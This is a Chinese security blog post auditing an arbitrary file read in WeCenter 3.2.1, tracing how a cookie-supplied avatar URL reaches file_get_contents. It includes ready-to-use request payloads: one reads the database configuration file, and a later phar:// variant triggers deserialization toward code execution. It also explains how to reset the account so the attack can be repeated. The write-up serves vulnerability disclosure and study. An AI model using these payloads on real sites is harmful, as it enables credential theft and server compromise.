很久没做审计了,博客都长草了,发个一年前审Wecenter发现的任意文件读取漏洞吧~
审的时候是3.2.1版本,现在官网不能直接下,但是github上的也差不多
漏洞点
漏洞发生在models\openid\weixin\weixin.php:254行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| public function associate_avatar($uid, $headimgurl) { if ($headimgurl) { if (!$user_info = $this->model('account')->get_user_info_by_uid($uid)) { return false; } if ($user_info['avatar_file']) { return false; } if ($avatar_stream = file_get_contents($headimgurl)) { $avatar_location = get_setting('upload_dir') . '/avatar/' . $this->model('account')->get_avatar($uid, '', 1) . $this->model('account')->get_avatar($uid, '', 2); $avatar_dir = str_replace(basename($avatar_location), '', $avatar_location); if ( ! is_dir($avatar_dir)) { make_dir($avatar_dir); } if (@file_put_contents($avatar_location, $avatar_stream))
|
上面的代码中,读取了$headimgurl中的文件内容,然后将这部分内容写进了用户头像,jpg文件!
全局搜索associate_avatar的调用,在同文件models\openid\weixin\weixin.php:180行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| public function bind_account($access_user, $access_token, $uid, $is_ajax = false) { if (! $access_user['nickname']) { }
if ($openid_info = $this->get_user_info_by_uid($uid)) { }
$this->insert('users_weixin', array( 'uid' => intval($uid), 'openid' => $access_token['openid'], 'expires_in' => (time() + $access_token['expires_in']), 'access_token' => $access_token['access_token'], 'refresh_token' => $access_token['refresh_token'], 'scope' => $access_token['scope'], 'headimgurl' => $access_user['headimgurl'], 'nickname' => $access_user['nickname'], 'sex' => $access_user['sex'], 'province' => $access_user['province'], 'city' => $access_user['city'], 'country' => $access_user['country'], 'add_time' => time() )); $this->associate_avatar($uid, $access_user['headimgurl']); $this->model('account')->associate_remote_avatar($uid, $access_user['headimgurl']); return true; }
|
bind_account函数最后会调用漏洞函数,以及另外一个相同漏洞的函数//bug2,这里不贴代码了
继续搜索调用点,在手机应用文件app\m\weixin.php:240行
1 2 3 4 5 6 7 8 9
| public function binding_action() { if ($_COOKIE[G_COOKIE_PREFIX . '_WXConnect']) { $WXConnect = json_decode($_COOKIE[G_COOKIE_PREFIX . '_WXConnect'], true); } if ($WXConnect['access_token']['openid']) { $this->model('openid_weixin_weixin')->bind_account($WXConnect['access_user'], $WXConnect['access_token'], $this->user_id);
|
到了这里,可以看到我们漏洞点的数据来源与$_COOKIE中的一个参数$_COOKIE[G_COOKIE_PREFIX . '_WXConnect']
,可控
倒回去梳理一下,中间过程仅有一些判断,只需要满足:
$WXConnect['access_token']['openid']
存在
$access_user['nickname']
存在
$openid_info = $this->get_user_info_by_uid($uid)
为False
$user_info = $this->model('account')->get_user_info_by_uid($uid)
为True,且$user_info['avatar_file']
为False
第1、2点只需要在cookie中传入对应的变量即可
第3点判断$openid_info是否为空,而未绑定微信则查询默认为空,即False
第4点说明需要用户登录,且数据库中头像为空
利用
- 注册账户,登录后无视邮箱验证
- 构造payload读取数据库配置文件,其中XXX前缀查看其余cookie可得
1 2 3 4 5 6
| GET /?/m/weixin/binding/
XXX__Session=...; XXX__user_login=...; XXX__WXConnect={"access_token":{"openid":1},"access_user":{"nickname":"aaa","openid":1,"headimgurl":"system/config/database.php"}};
|
执行后会报错返回头像路径

请求头像路径查看

补充
另外由于进行上述利用绑定微信后,会将绑定信息写入数据库,并更新数据库用户头像,也就是说会因为第3、4点判断限制,无法继续利用
解决办法就是通过访问如下链接进行解绑操作
http://127.0.0.1/?/account/ajax/unbinding_weixin/
当然还可以再注册账户~
20200117补充
某位师傅在先知论坛发表了一篇WeCenter v3.3.4的getshell,看了一下发现实际也是利用这里的,orz
方法就是,上传一个phar包,然后发送包触发发序列化
1 2 3 4 5 6
| GET /?/m/weixin/binding/
XXX__Session=...; XXX__user_login=...; XXX__WXConnect={"access_token":{"openid":1},"access_user":{"nickname":"aaa","openid":1,"headimgurl":"phar://filepath"}};
|
而触发的漏洞点则是利用了很久之前的一个反序列点执行任意sql语句的漏洞,触发点同样也是这里,总之这里的代码写的太随便了
Reference
https://xz.aliyun.com/t/7077
https://www.leavesongs.com/PENETRATION/wecenter-unserialize-arbitrary-sql-execute.html